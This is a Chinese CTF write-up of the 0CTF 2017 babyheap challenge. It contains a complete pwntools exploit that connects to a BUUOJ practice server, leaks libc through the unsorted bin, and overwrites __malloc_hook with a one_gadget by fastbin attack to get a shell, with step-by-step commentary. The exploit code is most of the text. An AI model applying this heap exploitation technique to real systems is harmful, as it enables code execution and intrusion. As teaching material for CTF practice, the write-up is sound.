babyheap_0ctf_2017
入门的第一道堆题,配环境就搞了好几天,中间也是了解了不同的glibc对应的堆分配机制是不同的,写16的题最好还是用16的ubuntu。
这道题有利用到unsortbins attack,fastbin attack,leak libc等知识,这里我先放脚本,然后进行分析。
点击查看代码
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
#io=process("./babyheap_0ctf_2017")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=remote("node4.buuoj.cn",29099)
libc=ELF("./libc-2.23.64-buu.so")
rl=lambda :io.recvline()
rn=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)
def add(size):
sla('Command: ','1')
sla('Size: ',str(size))
def fill(index,content):
sla('Command: ','2')
sla('Index: ',str(index))
sla('Size: ',str(len(content)))
sla('Content: ',content)
def free(index):
sla('Command: ','3')
sla('Index: ',str(index))
def dump(index):
sla('Command: ','4')
sla('Index: ',str(index))
rn("Content: \n")
add(0x80)#0
add(0x80)#1
add(0x80)#2
add(0x80)#3
free(1)
fill(0,'a'*(0x80+8)+p64(0x120+1))
add(0x110)#1
fill(1,'a'*(0x80+8)+p64(0x90+1))
free(2)
dump(1)
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
execve_addr=libcbase+0x4526a
#execve_addr=libcbase+0x4527a
add(0x80)#2
#gdb.attach(io)
add(0x60)#4
add(0x60)#5
free(5)
fill(4,'a'*(0x60+8)+p64(0x70+1)+p64(malloc_hook-0x23)+p64(0))
add(0x60)#5
add(0x60)#6
fill(6,'a'*0x13+p64(execve_addr))
add(0x10)
io.interactive()
点击查看代码
rl=lambda :io.recvline()
rn=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)
点击查看代码
def add(size):
sla('Command: ','1')
sla('Size: ',str(size))
def fill(index,content):
sla('Command: ','2')
sla('Index: ',str(index))
sla('Size: ',str(len(content)))
sla('Content: ',content)
def free(index):
sla('Command: ','3')
sla('Index: ',str(index))
def dump(index):
sla('Command: ','4')
sla('Index: ',str(index))
rn("Content: \n")
点击查看代码
add(0x80)#0
add(0x80)#1
add(0x80)#2
add(0x80)#3
free(1)
fill(0,'a'*(0x80+8)+p64(0x120+1))
add(0x110)#1
fill(1,'a'*(0x80+8)+p64(0x90+1))
free(2)
dump(1)
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10

为什么是0x91,因为我们clloc是0x80但是,还有0x10的prev size和 size另外p位也是占了一个1.
然后我们free(1)
这样我们就有了一个free chunk
fill(0,'a'(0x80+8)+p64(0x120+1))
接着我们从第0个chunk去填充,全部用a去填满
chunk1的prev size用a去填满,然后size用p64(0x120+1)去填,这样的话,我们的free chunk变成了两倍的0x90,0x120。
然后我们add(0x110),这里我们用的是colloc,会清零所有数据,我们刚刚拿到的free chunk刚刚好被用上,但是2号位的指针还在,这里不要搞混。
fill(1,'a'(0x80+8)+p64(0x90+1))
一样的,我们又修改了2号位chunk的size
然后free了chunk2,经过刚刚的操作,我们的chunk1指向了chunk2,然后chunk2是唯一的free chunk
会在unsortbin里,然后unsortbin的结构是一个双向链表,fd,bk都会指向arena+0x58的位置,这里是固定的,libc2.23都是一样的。
然后我们dump(1)就可以了,就可以接受到这里的地址。
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10
这里讲一个结构

看到这里这个图,我们可以看到中间是固定的差了这么多的位置,然后malloc_addr是什么呢,他就是malloc使用后会自动调用,调用之后会自动指向一个函数进行调用。我们如果知道了它的地址,然后我们把它修改成shell的系统调用,就可以完成攻击,刚刚我们那么久就是为了得到他的位置。
点击查看代码
libcbase=malloc_hook-libc.sym['__malloc_hook']
execve_addr=libcbase+0x4526a
点击查看代码
execve_addr=libcbase+0x4526a
#execve_addr=libcbase+0x4527a
add(0x80)#2
#gdb.attach(io)
add(0x60)#4
add(0x60)#5
free(5)
fill(4,'a'*(0x60+8)+p64(0x70+1)+p64(malloc_hook-0x23)+p64(0))
add(0x60)#5
add(0x60)#6
fill(6,'a'*0x13+p64(execve_addr))
add(0x10)
io.interactive()

浙公网安备 33010602011771号